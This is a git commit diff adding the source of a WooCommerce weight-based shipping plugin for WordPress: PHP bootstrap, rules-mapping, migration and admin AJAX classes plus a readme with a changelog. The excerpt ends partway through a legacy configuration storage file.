first commit

This commit is contained in:
2024-07-15 11:28:08 +02:00
commit f52d538ea5
21891 changed files with 6161164 additions and 0 deletions

View File

@@ -0,0 +1,27 @@
<?php
call_user_func(function() {
$pluginEntryFile = wp_normalize_path(__DIR__.'/plugin.php');
register_activation_hook($pluginEntryFile, function() {
$otherPluginVersions = array();
foreach (get_option('active_plugins') as $pluginFile) {
$data = get_file_data(WP_PLUGIN_DIR.'/'.$pluginFile, array('PluginFamilyId' => 'Plugin Family Id'));
$id = @$data['PluginFamilyId'];
if ($id === 'dangoodman/wc-weight-based-shipping') {
$otherPluginVersions[] = $pluginFile;
}
}
if ($otherPluginVersions) {
deactivate_plugins($otherPluginVersions);
}
});
if (!class_exists('Wbs\Plugin', false)) {
require_once(__DIR__ . "/server/vendor/autoload.php");
\Wbs\Plugin::setupOnce($pluginEntryFile);
}
});

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,25 @@
<?php
/**
* Plugin Family Id: dangoodman/wc-weight-based-shipping
* Plugin Name: WooCommerce Weight Based Shipping
* Plugin URI: https://wordpress.org/plugins/weight-based-shipping-for-woocommerce/
* Description: Simple yet flexible shipping method for WooCommerce.
* Version: 5.3.2.2
* Author: weightbasedshipping.com
* Author URI: https://weightbasedshipping.com
* Requires PHP: 5.3
* Requires at least: 4.0
* Tested up to: 5.3
* WC requires at least: 2.3
* WC tested up to: 3.8
*/
if (!class_exists('WbsVendors_DgmWpPluginBootstrapGuard', false)) {
require_once(dirname(__FILE__).'/server/vendor/dangoodman/wp-plugin-bootstrap-guard/DgmWpPluginBootstrapGuard.php');
}
WbsVendors_DgmWpPluginBootstrapGuard::checkPrerequisitesAndBootstrap(
'WooCommerce Weight Based Shipping',
'5.3', '4.0', '2.3',
dirname(__FILE__).'/bootstrap.php'
);

View File

@@ -0,0 +1,268 @@
=== WooCommerce Weight Based Shipping ===
Contributors: dangoodman
Tags: ecommerce, woocommerce, shipping, woocommerce shipping, weight-based shipping, conditional free shipping,
conditional flat rate, table rate shipping, weight, subtotal, country, shipping classes
Requires PHP: 5.3
Requires at least: 4.0
Tested up to: 5.3
WC requires at least: 2.3
WC tested up to: 3.8
Stable tag: trunk
Simple yet flexible weight-based shipping for WooCommerce
== Description ==
Weight Based Shipping is a simple yet flexible shipping method for WooCommerce focused mainly on order weight (but not limited to) to calculate shipping cost. Plugin allows you to add multiple rules based on various conditions.
<br>
= Features =
<p></p>
<ul>
<li>
<strong>Order weight, subtotal and destination</strong><br>
Create as many shipping rules as you need for different order destinations, weight and subtotal ranges.
<p>&nbsp;</p>
</li>
<li>
<strong>Flexible Price Calculation</strong><br>
Each rule can be configured to expose a constant price (like Flat Rate) or a progressive price based on cart weight, or both.
<p>&nbsp;</p>
</li>
<li>
<strong>Conditional Free Shipping</strong><br>
In some cases you want to ship for free depending on subtotal, total weight or some other condition. That can be achieved in a moment with the plugin.
<p>&nbsp;</p>
</li>
<li>
<strong>Shipping Classes Support</strong> (available in the <a href="https://weightbasedshipping.com">Plus version</a>)<br>
For each shipping class you have you can override the way shipping price is calculated for it.
</li>
</ul>
See <a href="https://wordpress.org/plugins/weight-based-shipping-for-woocommerce/screenshots/">screenshots</a> for the list of all supported options.
<br><br>
<blockquote>
Also, check out our <a href="https://tablerateshipping.com">advanced table rate shipping plugin for WooCommerce</a>.<br>
<br>
</blockquote>
== Changelog ==
= 5.3.2.1 =
* Update supported WooCommerce version to 3.7.
= 5.3.2 =
* Workaround VaultPress false-positive.
= 5.3.1 =
* Fix '400 Bad Request' error on saving settings.
= 5.3.0 =
* Add 'after discount applied' option to the Order Subtotal condition to match against order price with coupons and other discounts applied.
= 5.2.6 =
* Fix WooCommerce 3.6.0+ compatibility issue causing no shipping options shown to a customer under some circumstances.
= 5.2.5 =
* Fix PHP 5.3 compatibility issue.
= 5.2.4.1 =
* Update supported WordPress version to 5.1.
= 5.2.4 =
* Partial support for decimal quantities.
= 5.2.3 =
* Update supported WordPress version to 5.0.
= 5.2.2 =
* Improve prerequisites checking.
* Update supported WooCommerce version to 3.5.
= 5.2.1 =
* Update supported WooCommerce version.
= 5.2.0 =
* Don't ignore duplicate shipping classes entries. When multiple rates specified for a class in a rule, they all will be in effect starting from this version.
= 5.1.5 =
* Fix issue with Weight Rate causing zero price in case of a small order weight and large step ("per each") value.
* Fix appearance issues with WooCommerce 3.2.
= 5.1.4 =
* Fix blank settings page in Safari when Yoast SEO is active.
= 5.1.3 =
* Fix WooCommerce pre-2.6 compatibility.
* Minor appearance fixes.
= 5.1.2 =
* Fix blank settings page in Firefox when Yoast SEO is active.
= 5.1.1 =
* Fix settings not saved on hosts overriding arg_separator.output php.ini option.
= 5.1.0 =
* Support WooCommerce convention on shipping option ids to fix shipping method detection in third-party code, like Cash On Delivery payment method and Conditional Shipping and Payments plugin.
= 5.0.9 =
* Show a warning on PHP 5.3 with Zend Guard Loader active known to crash with 500/503 server error.
= 5.0.8 =
* Fix IE11 error preventing from adding/importing rules.
= 5.0.7 =
* Fix welcome screen buttons appearance in WP 4.7.5.
= 5.0.6 =
* A bunch of minor fixes.
= 5.0.5 =
* Fix PHP 5.3.x error while importing legacy rules.
* Fix WooCommerce 3.x deprecation notice about get_variation_id.
= 5.0.4 =
* Fix WooCommerce 3.x deprecation notices.
* Deactivate other active versions of the plugin upon activation (fixed).
= 5.0.3-beta =
* Fix 'fatal error: call to undefined function Wbs\wc_get_shipping_method_count()'.
= 5.0.2-beta =
* Avoid conflicts with other plugins using same libraries.
* Deactivate other active versions of the plugin upon activation.
= 5.0.1-beta =
* Fix Destinations not being saved on WooCommerce 3.0.
= 5.0.0-beta =
* Rewritten from scratch, better performance and look'n'feel.
* Shipping Zones support.
= 4.2.3 =
* Fix links to premium plugins.
= 4.2.2 =
* Fix rules not imported from an older version when updating from pre-4.0 to 4.2.0 or 4.2.1.
= 4.2.1 =
* Fix saving rules order.
= 4.2.0 =
* Allow sorting rules by drag'n'drop in admin panel.
= 4.1.4 =
* WooCommerce 2.6 compatibility fixes.
= 4.1.3 =
* Minimize chances of a float-point rounding error in the weight step count calculation (https://wordpress.org/support/topic/weight-rate-charge-skip-calculate).
= 4.1.2 =
* Don't fail on invalid settings, allow editing them instead.
= 4.1.1 =
* Backup old settings on upgrade from pre-4.0 versions.
= 4.1.0 =
* Fix WC_Settings_API->get_field_key() missing method usage on WC 2.3.x.
* Use package passed to calculate_shipping() funciton instead of global cart object for better integration with 3d-party plugins.
* Get rid of wbs_remap_shipping_class hook.
* Use class autoloader for better performance and code readability.
= 4.0.0 =
* Admin UI redesign.
= 3.0.0 =
* Country states/regions targeting support.
= 2.6.9 =
* Fixed: inconsistent decimal input handling in Shipping Classes section (https://wordpress.org/support/topic/please-enter-in-monetary-decimal-issue).
= 2.6.8 =
* Fixed: plugin settings are not changed on save with WooCommerce 2.3.10 (WooCommerce 2.3.10 compatibility issue).
= 2.6.6 =
* Introduced 'wbs_profile_settings_form' filter for better 3d-party extensions support.
* Removed partial localization.
= 2.6.5 =
* Min/Max Shipping Price options.
= 2.6.3 =
* Improved upgrade warning system.
* Fixed warning about Shipping Classes Overrides changes.
= 2.6.2 =
* Fixed Shipping Classes Overrides: always apply base Handling Fee.
= 2.6.1 =
* Introduced "Subtotal With Tax" option.
= 2.6.0 =
* Min/Max Subtotal condition support.
= 2.5.1 =
* Introduce "wbs_remap_shipping_class" filter to provide 3dparty plugins an ability to alter shipping cost calculation.
* Wordpress 4.1 compatibility testing.
= 2.5.0 =
* Shipping classes support.
* Ability to choose all countries except specified.
* Select All/None buttons for countries.
* Purge shipping price calculations cache on configuration changes to reflect actual config immediatelly.
* Profiles table look tweaks.
* Other small tweaks.
= 2.4.2 =
* Fixed: deleting non-currently selected configuration deletes first configuration from the list.
= 2.4.1 =
* Updated pot-file required for translations.
* Added three nice buttons to plugin settings page.
* Prevent buttons in Actions column from wrapping on multiple lines.
= 2.4.0 =
* By default, apply Shipping Rate to the extra weight part exceeding Min Weight. Also a checkbox added to switch off this feature..
= 2.3.0 =
* Duplicate profile feature.
* New 'Weight Step' option for rough gradual shipping price calculation.
* Added more detailed description to the Handling Fee and Shipping Rate fields to make their purpose clear.
* Plugin prepared for localization.
* Refactoring.
= 2.2.3 =
* Fixed: first time saving settings with fresh install does not save anything while reporting successful saving.
* Replace short php tags with their full equivalents to make code more portable.
= 2.2.2 =
Fix "parse error: syntax error, unexpected T_FUNCTION in woocommerce-weight-based-shipping.php on line 610" http://wordpress.org/support/topic/fatal-error-1164.
= 2.2.1 =
Allow zero weight shipping. Thus only Handling Fee is added to the final price.
Previously, weight based shipping option has not been shown to user if total weight of their cart is zero. Since version 2.2.1 this is changed so shipping option is available to user with price set to Handling Fee. If it does not suite your needs well you can return previous behavior by setting Min Weight to something a bit greater zero, e.g. 0.001, so that zero-weight orders will not match constraints and the shipping option will not be shown.
== Screenshots ==
1. A configuration example
2. Another rule settings
3. How that could look to customer

View File

@@ -0,0 +1,19 @@
<?php
namespace Wbs\Migrations;
use WbsVendors\Dgm\Shengine\Migrations\Interfaces\Migrations\IRuleMigration;
class Migration_5_2_6 implements IRuleMigration
{
public function migrateRule($rule)
{
if (isset($rule['conditions']['subtotal']) && !array_key_exists('discount', $rule['conditions']['subtotal'])) {
$rule['conditions']['subtotal']['discount'] = false;
}
return $rule;
}
}
return new Migration_5_2_6();

View File

@@ -0,0 +1,32 @@
<?php
namespace Wbs\Common;
class Once
{
/**
* @param callable $callback function(): mixed
*/
public function __construct($callback)
{
$this->callback = $callback;
}
/**
* @internal
*/
function __invoke()
{
if (!$this->called) {
$this->result = call_user_func($this->callback);
$this->called = true;
}
return $this->result;
}
private $callback;
private $result;
private $called = false;
}

View File

@@ -0,0 +1,19 @@
<?php
namespace Wbs\Migrations;
use WbsVendors\Dgm\Shengine\Migrations\AbstractConfigStorage;
class ConfigStorage extends AbstractConfigStorage
{
public function forEachRule($fromConfig, $callback)
{
if (isset($fromConfig['rules']) && is_array($fromConfig['rules'])) {
foreach ($fromConfig['rules'] as &$rule) {
$rule = $callback($rule);
}
}
return $fromConfig;
}
}

View File

@@ -0,0 +1,207 @@
<?php
namespace Wbs;
use wbs;
use Wbs\Common\Once;
use Wbs\Migrations\ConfigStorage;
use Wbs\Services\ApiService;
use Wbs\Services\LegacyConfigService;
use WbsVendors\Dgm\PluginServices\ServiceInstaller;
use WbsVendors\Dgm\Shengine\Migrations\MigrationService;
use WbsVendors\Dgm\Shengine\Migrations\Storage\WordpressOptions;
use WC_Cache_Helper;
/**
* @property-read PluginMeta $meta
* @property-read LegacyConfigService $legacyConfig
*/
class Plugin
{
const ID = 'wbs';
/**
* @param string $entrypoint
* @return void
*/
static public function setupOnce($entrypoint)
{
if (!isset(self::$instance)) {
$plugin = new Plugin($entrypoint);
$plugin->setup();
self::$instance = $plugin;
}
}
/**
* @return self
*/
static public function instance()
{
return self::$instance;
}
/**
* @param string $entrypoint
*/
public function __construct($entrypoint)
{
$entrypoint = wp_normalize_path($entrypoint);
$this->entrypoint = $entrypoint;
$this->root = $root = dirname($this->entrypoint).'/server';
$this->meta = new PluginMeta($entrypoint, $root);
$this->legacyConfigFactory = new Once(function() { return new LegacyConfigService(); });
}
public function setup()
{
register_activation_hook($this->entrypoint, array($this, '__resetShippingCache'));
register_deactivation_hook($this->entrypoint, array($this, '__resetShippingCache'));
add_filter('woocommerce_shipping_methods', array($this, '__woocommerceShippingMethods'));
add_filter('plugin_action_links_' . plugin_basename($this->entrypoint), array($this, '__pluginActionLinks'));
ServiceInstaller::create()->installIfReady(
$this->createMigrationService(),
new ApiService($this->legacyConfigFactory)
);
add_action('woocommerce_init', function() {
if (function_exists('wc_get_shipping_method_count') && wc_get_shipping_method_count(true) == 0) {
$trv = WC_Cache_Helper::get_transient_version('shipping');
if (version_compare(WC()->version, '3.6.0', '>=')) {
set_transient(
'wc_shipping_method_count_legacy',
array('value' => 1, 'version' => $trv),
DAY_IN_SECONDS * 30
);
} else {
set_transient(
'wc_shipping_method_count_1_' . $trv,
1,
DAY_IN_SECONDS * 30
);
}
}
});
}
/**
* @internal
*/
function __woocommerceShippingMethods(/** @noinspection PhpDocSignatureInspection */ $shippingMethods)
{
$shippingMethods[self::ID] = self::wc26plus() ? ShippingMethod::className() : wbs::className();
return $shippingMethods;
}
/**
* @internal
*/
function __pluginActionLinks(/** @noinspection PhpDocSignatureInspection */ $links)
{
$newLinks = array();
if (self::wc26plus()) {
$newLinks[self::shippingUrl()] = 'Shipping Zones';
$newLinks[self::shippingUrl(self::ID)] = 'Global Shipping Rules';
} else {
$newLinks[self::shippingUrl(wbs::className())] = 'Settings';
}
foreach ($newLinks as $url => &$text) {
$text = '<a href="'.esc_html($url).'">'.esc_html($text).'</a>';
}
array_splice($links, 0, 0, $newLinks);
return $links;
}
/**
* @internal
*/
function __resetShippingCache()
{
$reset = function() {
WC_Cache_Helper::get_transient_version('shipping', true);
};
if (did_action('woocommerce_init')) {
$reset();
} else {
add_action('woocommerce_init', $reset);
}
}
/**
* @param string $property
* @return mixed|null
* @internal
*/
function __get($property)
{
switch ((string)$property) {
case 'legacyConfig':
return call_user_func($this->legacyConfigFactory);
case 'meta':
return $this->meta;
default:
trigger_error("Undefined property '{$property}'", E_USER_NOTICE);
return null;
}
}
/** @var self */
private static $instance;
/** @var string */
private $entrypoint;
/** @var string */
private $root;
/** @var callable */
private $legacyConfigFactory;
/** @var PluginMeta */
private $meta;
private function createMigrationService()
{
global $wpdb;
$options = new WordpressOptions($wpdb);
return new MigrationService(
$this->meta->version,
$options->bind('wbs_config_version'),
$this->meta->paths->root.'/migrations',
new ConfigStorage('wbs\\_%config', $options)
);
}
static private function shippingUrl($section = null)
{
$query = array(
"page" => "wc-settings",
"tab" => "shipping",
);
if (isset($section)) {
$query['section'] = $section;
}
$query = http_build_query($query, '', '&');
return admin_url("admin.php?{$query}");
}
static public function wc26plus() {
return !defined('WC_VERSION') || version_compare(WC_VERSION, '2.6.0', '>=');
}
}

View File

@@ -0,0 +1,29 @@
<?php
namespace Wbs;
use WbsVendors\Dgm\SimpleProperties\SimpleProperties;
/**
* @property-read string $version
* @property-read PluginPaths $paths
*/
class PluginMeta extends SimpleProperties
{
public function __construct($entryFile, $serverAppRoot)
{
$this->version = self::readVersionMeta($entryFile);
$this->paths = new PluginPaths($serverAppRoot);
}
protected $paths;
protected $version;
static private function readVersionMeta($entryFile)
{
$pluginFileAttributes = get_file_data($entryFile, array('Version' => 'Version'));
$version = $pluginFileAttributes['Version'] ?: null;
return $version;
}
}

View File

@@ -0,0 +1,29 @@
<?php
namespace Wbs;
use WbsVendors\Dgm\SimpleProperties\SimpleProperties;
/**
* @property-read string $root
* @property-read string $assets
* @property-read string $tplFile
*/
class PluginPaths extends SimpleProperties
{
public function __construct($root)
{
$this->root = rtrim($root, '/\\');
$this->assets = defined('WBS_DEV') ? "{$this->root}/../client/build" : "{$this->root}/..";
$this->tplFile = "{$this->root}/tpl/main.php";
}
public function getAssetUrl($asset = null)
{
return plugins_url($asset, $this->assets.'/.');
}
protected $root;
protected $assets;
protected $tplFile;
}

View File

@@ -0,0 +1,295 @@
<?php
namespace Wbs;
use WbsVendors\Dgm\Arrays\Arrays;
use WbsVendors\Dgm\NumberUnit\NumberUnit;
use WbsVendors\Dgm\Range\Range;
use WbsVendors\Dgm\Shengine\Aggregators\SumAggregator;
use WbsVendors\Dgm\Shengine\Attributes\DestinationAttribute;
use WbsVendors\Dgm\Shengine\Attributes\ItemAttribute;
use WbsVendors\Dgm\Shengine\Attributes\PriceAttribute;
use WbsVendors\Dgm\Shengine\Attributes\WeightAttribute;
use WbsVendors\Dgm\Shengine\Calculators\AggregatedCalculator;
use WbsVendors\Dgm\Shengine\Calculators\ChildrenCalculator;
use WbsVendors\Dgm\Shengine\Calculators\ClampCalculator;
use WbsVendors\Dgm\Shengine\Calculators\ConstantCalculator;
use WbsVendors\Dgm\Shengine\Calculators\FreeCalculator;
use WbsVendors\Dgm\Shengine\Calculators\GroupCalculator;
use WbsVendors\Dgm\Shengine\Calculators\ProgressiveCalculator;
use WbsVendors\Dgm\Shengine\Conditions\Common\Compare\BetweenCondition;
use WbsVendors\Dgm\Shengine\Conditions\Common\Logic\AndCondition;
use WbsVendors\Dgm\Shengine\Conditions\Common\Logic\NotCondition;
use WbsVendors\Dgm\Shengine\Conditions\Common\Logic\OrCondition;
use WbsVendors\Dgm\Shengine\Conditions\DestinationCondition;
use WbsVendors\Dgm\Shengine\Conditions\Package\PackageAttributeCondition;
use WbsVendors\Dgm\Shengine\Conditions\Package\TermsCondition;
use WbsVendors\Dgm\Shengine\Grouping\AttributeGrouping;
use WbsVendors\Dgm\Shengine\Grouping\FakeGrouping;
use WbsVendors\Dgm\Shengine\Interfaces\IAttribute;
use WbsVendors\Dgm\Shengine\Interfaces\ICalculator;
use WbsVendors\Dgm\Shengine\Interfaces\IItemAggregatables;
use WbsVendors\Dgm\Shengine\Interfaces\IProcessor;
use WbsVendors\Dgm\Shengine\Model\Price;
use WbsVendors\Dgm\Shengine\Model\Rule;
use WbsVendors\Dgm\Shengine\Model\RuleMeta;
use WbsVendors\Dgm\Shengine\RuleMatcher;
use WbsVendors\Dgm\Shengine\RuleMatcherMeta;
use WbsVendors\Dgm\Shengine\Units;
class RulesMapper
{
public function __construct(Units $units, IProcessor $processor)
{
$this->units = $units;
$this->processor = $processor;
}
public function read($_rules)
{
$rules = array();
if (!isset($_rules)) {
return $rules;
}
$rules = array();
foreach ($_rules as $_rule) {
if ($rule = $this->makeRule($_rule)) {
$rules[] = $rule;
}
}
return $rules;
}
static private function get($object, $path, $default = null)
{
foreach (explode('.', $path) as $step) {
if (!isset($object[$step])) {
$object = null;
break;
}
$object = $object[$step];
}
if (!isset($object)) {
$object = $default;
}
return $object;
}
private $units;
private $processor;
private function makeRule(array $_rule)
{
$rule = null;
$_meta = self::get($_rule, 'meta');
if (self::get($_meta, 'enabled', true)) {
$rule = new Rule(
new RuleMeta(
self::get($_meta, 'title'),
self::get($_meta, 'taxable')
),
new RuleMatcher(
new RuleMatcherMeta(false, new FakeGrouping(), false),
$this->makeCondition($_rule)
),
$this->makeChargeCalculator($_rule)
);
}
return $rule;
}
private function makeChargeCalculator(array $_rule)
{
$_charges = self::get($_rule, 'charges');
if (!$_charges) {
return new FreeCalculator();
}
$perClassRules = array();
$perClassConditions = array();
$perClassMatcherMeta = new RuleMatcherMeta(false, new AttributeGrouping(new ItemAttribute()));
$_classCharges = self::get($_charges, 'shippingClasses', array());
foreach ($_classCharges as $_classCharge) {
$_class = self::get($_classCharge, 'shippingClass');
if (!isset($_class)) {
continue;
}
$_chrg = self::get($_classCharge, 'charges');
$condition = new TermsCondition(array(IItemAggregatables::TAXONOMY_SHIPPING_CLASS => array($_class)));
$perClassConditions[] = $condition;
$perClassRules[] = new Rule(
new RuleMeta(),
new RuleMatcher(
$perClassMatcherMeta,
$condition
),
new AggregatedCalculator(
new GroupCalculator(array(
new ConstantCalculator(self::get($_chrg, 'base', 0)),
$this->makeWeightCalculator(self::get($_chrg, 'weight'))
)),
new SumAggregator()
)
);
}
$defaultClassRule = new Rule(
new RuleMeta(),
new RuleMatcher(
$perClassMatcherMeta,
new NotCondition(new OrCondition($perClassConditions))
),
$this->makeWeightCalculator(self::get($_charges, 'weight'))
);
$perClassRules[] = $defaultClassRule;
$charge = new AggregatedCalculator(
new GroupCalculator(array(
new ConstantCalculator(self::get($_charges, 'base', 0)),
new ChildrenCalculator($this->processor, $perClassRules),
)),
new SumAggregator()
);
$charge = $this->applyModifiers($charge, $_rule);
return $charge;
}
private function applyModifiers(ICalculator $charge, array $_rule)
{
$_range = self::get($_rule, 'modifiers.clamp.range', null);
if (isset($_range)) {
$charge = new ClampCalculator($charge, $this->readRange($_range));
}
return $charge;
}
private function makeCondition(array $_rule)
{
return new AndCondition($this->makeConditions($_rule));
}
private function makeConditions(array $_rule)
{
$conditions = array();
if ($_conditions = self::get($_rule, 'conditions')) {
$conditions = Arrays::filter(array(
$this->makeDestinationCondition($_conditions),
$this->makeWeightCondition($_conditions),
$this->makePriceCondition($_conditions),
));
}
return $conditions;
}
private function makeWeightCalculator(array $_weight)
{
return new ProgressiveCalculator(
new WeightAttribute(),
$this->units->weight,
self::get($_weight, 'cost', 0),
self::get($_weight, 'step', 1),
self::get($_weight, 'skip', 0)
);
}
private function makeDestinationCondition(array $_conditions)
{
$condition = null;
$_destination = self::get($_conditions, 'destination');
$_mode = self::get($_destination, 'mode', 'include');
$_locations = self::get($_destination, 'locations', array());
if ($_destination && $_mode !== 'all') {
$condition = new DestinationCondition($_locations);
if ($_mode === 'exclude') {
$condition = new NotCondition($condition);
}
$condition = new PackageAttributeCondition(
$condition,
new DestinationAttribute()
);
}
return $condition;
}
private function makeWeightCondition(array $_conditions)
{
$condition = null;
if ($_weight = self::get($_conditions, 'weight.range')) {
$condition = $this->makeRangeCondition(
$_weight,
$this->units->weight,
new WeightAttribute()
);
}
return $condition;
}
private function makePriceCondition(array $_conditions)
{
$condition = null;
if ($_subtotal = self::get($_conditions, 'subtotal.range')) {
$condition = $this->makeRangeCondition(
$_subtotal,
$this->units->price,
new PriceAttribute(
Price::BASE |
(self::get($_conditions, 'subtotal.tax', false) ? Price::WITH_TAX : 0) |
(self::get($_conditions, 'subtotal.discount', true) ? Price::WITH_DISCOUNT : 0)
)
);
}
return $condition;
}
private function makeRangeCondition(array $_range, NumberUnit $unit, IAttribute $attribute)
{
return new PackageAttributeCondition(
new BetweenCondition($this->readRange($_range), $unit),
$attribute
);
}
private function readRange(array $_range)
{
return new Range(
self::get($_range, 'min'),
self::get($_range, 'max'),
self::get($_range, 'minInclusive', true),
self::get($_range, 'maxInclusive', true)
);
}
}

View File

@@ -0,0 +1,82 @@
<?php
namespace Wbs\Services;
use InvalidArgumentException;
use Wbs\Plugin;
use Wbs\Services\ApiService\ApiEndpoint;
use Wbs\Services\ApiService\Apis\ConfigApi;
use Wbs\Services\ApiService\Apis\LegacyConfigApi;
use WbsVendors\Dgm\PluginServices\IService;
use WbsVendors\Dgm\PluginServices\IServiceReady;
class ApiService implements IService, IServiceReady
{
/**
* @param callable $legacyConfigServiceFactory function(): LegacyConfigService
*/
public function __construct($legacyConfigServiceFactory)
{
$this->legacyConfigServiceFactory = $legacyConfigServiceFactory;
}
public function ready()
{
return is_admin() && defined('DOING_AJAX') && DOING_AJAX;
}
public function install()
{
$legacyConfigServiceFactory = $this->legacyConfigServiceFactory;
foreach (self::endpoints() as $endpoint) {
add_action("wp_ajax_{$endpoint->action}", function() use($endpoint, $legacyConfigServiceFactory) {
$api = $endpoint->createHandler($legacyConfigServiceFactory);
$api->handleRequest();
});
}
}
/**
* @param string $apiClass
* @return ApiEndpoint
* @throws InvalidArgumentException If an unknown $apiClass provided.
*/
static public function endpoint($apiClass)
{
$endpoints = self::endpoints();
if (!isset($endpoints[$apiClass])) {
throw new InvalidArgumentException("No endpoints found for api class '{$apiClass}'.");
}
return $endpoints[$apiClass];
}
/**
* @return ApiEndpoint[]
*/
static private function endpoints()
{
static $endpoints;
if (!isset($endpoints)) {
$endpoints = array(
ConfigApi::className() => new ApiEndpoint(
Plugin::ID . '_config',
function() { return new ConfigApi(); }
),
LegacyConfigApi::className() => new ApiEndpoint(
Plugin::ID . '_legacy_config',
function($legacyConfigServiceFactory) { return new LegacyConfigApi($legacyConfigServiceFactory()); }
),
);
}
return $endpoints;
}
/** @var callable */
private $legacyConfigServiceFactory;
}

View File

@@ -0,0 +1,44 @@
<?php
namespace Wbs\Services\ApiService;
use WbsVendors\Dgm\SimpleProperties\SimpleProperties;
/**
* @property-read string $action
*/
class ApiEndpoint extends SimpleProperties
{
/**
* @param string $action
* @param callable $handlerFactory function(...$args): IApi
*/
public function __construct($action, $handlerFactory)
{
$this->action = $action;
$this->handlerFactory = $handlerFactory;
}
public function url(array $parameters = array())
{
$parameters['action'] = $this->action;
$parameters = array_filter(
$parameters,
function($v) { return isset($v); }
);
$query = http_build_query($parameters, '', '&');
$url = admin_url("admin-ajax.php?{$query}");
return $url;
}
public function createHandler()
{
return call_user_func_array($this->handlerFactory, func_get_args());
}
protected $action;
private $handlerFactory;
}

View File

@@ -0,0 +1,21 @@
<?php
namespace Wbs\Services\ApiService\Apis;
use WbsVendors\Dgm\ClassNameAware\ClassNameAware;
use Wbs\Services\ApiService\IApi;
abstract class AbstractApi extends ClassNameAware implements IApi
{
static protected function respond($code, $message = null)
{
if ($code == 200 && !isset($message)) {
$message = 'OK';
}
wp_die(
$message,
null, array('response' => $code)
);
}
}

View File

@@ -0,0 +1,31 @@
<?php
namespace Wbs\Services\ApiService\Apis;
use Wbs\ShippingMethod;
class ConfigApi extends AbstractApi
{
public function handleRequest()
{
if (@$_SERVER['REQUEST_METHOD'] !== 'POST') {
header('Allow: POST');
self::respond(405, 'The only supported method is POST.');
}
$this->post();
}
private function post()
{
if ($requestBody = file_get_contents('php://input'))
if ($requestBody = json_decode($requestBody, true))
if (array_key_exists('config', $requestBody)) {
$method = new ShippingMethod(@$_GET['instance_id']);
$method->config($requestBody['config']);
self::respond(200);
}
self::respond(400, 'Empty or malformed request body.');
}
}

View File

@@ -0,0 +1,50 @@
<?php
namespace Wbs\Services\ApiService\Apis;
use Wbs\Services\LegacyConfigService;
class LegacyConfigApi extends AbstractApi
{
public function __construct(LegacyConfigService $config)
{
$this->config = $config;
}
public function handleRequest()
{
static $suppotedMethods = array('GET', 'DELETE');
$method = @$_SERVER['REQUEST_METHOD'];
if (!in_array($method, $suppotedMethods, true)) {
$suppotedMethodsString = join(',', $suppotedMethods);
header("Allow: {$suppotedMethodsString}");
self::respond(405, "Supported methods: {$suppotedMethodsString}, request '{$method}'.");
}
$method = strtolower($method);
$this->$method();
}
/** @var LegacyConfigService */
private $config;
/** @noinspection PhpUnusedPrivateMethodInspection */
private function get()
{
$config = $this->config->get();
if (!$config->rules) {
self::respond(404, "Legacy config not found");
}
self::respond(200, json_encode($config->toArray()));
}
/** @noinspection PhpUnusedPrivateMethodInspection */
private function delete()
{
$this->config->delete();
self::respond(200);
}
}

View File

@@ -0,0 +1,8 @@
<?php
namespace Wbs\Services\ApiService;
interface IApi
{
function handleRequest();
}

View File

@@ -0,0 +1,49 @@
<?php
namespace Wbs\Services;
use Wbs\Services\LegacyConfigService\LegacyConfig;
use Wbs\Services\LegacyConfigService\LegacyConfigRulesOrderStorage;
use Wbs\Services\LegacyConfigService\LegacyConfigRulesStorage;
class LegacyConfigService
{
public function __construct()
{
$this->rules = new LegacyConfigRulesStorage('woowbs_', '_settings');
$this->order = new LegacyConfigRulesOrderStorage("woowbs_rules_order");
}
/**
* @return bool
*/
public function exists()
{
return $this->rules->walk('__return_true') === true;
}
/**
* @return LegacyConfig
*/
public function get()
{
$rules = $this->rules->walk(array($this->rules, 'load'));
$rules = array_values($this->order->sort($rules));
$config = new LegacyConfig(get_option('woowbs_version'), $rules);
return $config;
}
/**
* @return void
*/
public function delete()
{
$this->rules->walk(array($this->rules, 'delete'));
}
private $rules;
private $order;
}

View File

@@ -0,0 +1,29 @@
<?php
namespace Wbs\Services\LegacyConfigService;
use WbsVendors\Dgm\SimpleProperties\SimpleProperties;
/**
* @property-read string $version
* @property-read array $rules
*/
class LegacyConfig extends SimpleProperties
{
public function __construct($version, array $rules)
{
$this->version = $version;
$this->rules = $rules;
}
public function toArray()
{
return array(
'version' => $this->version,
'rules' => $this->rules,
);
}
protected $version;
protected $rules;
}

View File

@@ -0,0 +1,49 @@
<?php
namespace Wbs\Services\LegacyConfigService;
use WbsVendors\Dgm\Arrays\Arrays;
class LegacyConfigRulesOrderStorage
{
public function __construct($storageKeyName)
{
$this->storageKeyName = $storageKeyName;
}
public function sort(array $profiles)
{
return Arrays::map($this->sortIds(array_keys($profiles)), function($id) use($profiles) {
return $profiles[$id];
});
}
public function sortIds(array $profileIds)
{
$profilesWithDefinedOrder = array();
$profilesWithNoDefineOrder = array();
$weights = $this->getProfilesSortWeights();
foreach ($profileIds as $profileId) {
if (isset($weights[$profileId])) {
$profilesWithDefinedOrder[$weights[$profileId]] = $profileId;
} else {
$profilesWithNoDefineOrder[] = $profileId;
}
}
ksort($profilesWithDefinedOrder);
$sortedProfiles = array_merge($profilesWithDefinedOrder, $profilesWithNoDefineOrder);
return $sortedProfiles;
}
private $storageKeyName;
private function getProfilesSortWeights()
{
return get_option($this->storageKeyName, array());
}
}

View File

@@ -0,0 +1,127 @@
<?php
namespace Wbs\Services\LegacyConfigService;
class LegacyConfigRulesStorage
{
/**
* @param string $ruleOptionNamePrefix
* @param string $ruleOptionNameSuffix
*/
public function __construct($ruleOptionNamePrefix, $ruleOptionNameSuffix)
{
$this->prefix = (string)$ruleOptionNamePrefix;
$this->suffix = (string)$ruleOptionNameSuffix;
}
/**
* @param callable $callback function(string $ruleId): bool|mixed (bool to return immediately, mixed to collect in the result list)
* @return mixed[]|bool
*/
public function walk($callback)
{
$rules = array();
$optionNamePattern = $this->optionNamePattern();
foreach (array_keys(wp_load_alloptions()) as $option) {
$matches = array();
if (preg_match($optionNamePattern, $option, $matches)) {
$id = $matches[1];
$result = call_user_func($callback, $id);
if (is_bool($result)) {
return $result;
}
$rules[$id] = $result;
}
}
return $rules;
}
/**
* @param mixed $ruleId
* @return mixed
*/
public function load($ruleId)
{
return self::object2Array(get_option($this->optionName($ruleId), null));
}
/**
* @param mixed $ruleId
* @return void
*/
public function delete($ruleId)
{
delete_option($this->optionName($ruleId));
}
/** @var string */
private $prefix;
/** @var string */
private $suffix;
private function optionNamePattern()
{
return '/^' . preg_quote($this->prefix, '/') . '(.*)' . preg_quote($this->suffix, '/') . '$/';
}
/**
* @param string $forRuleId
* @return string
*/
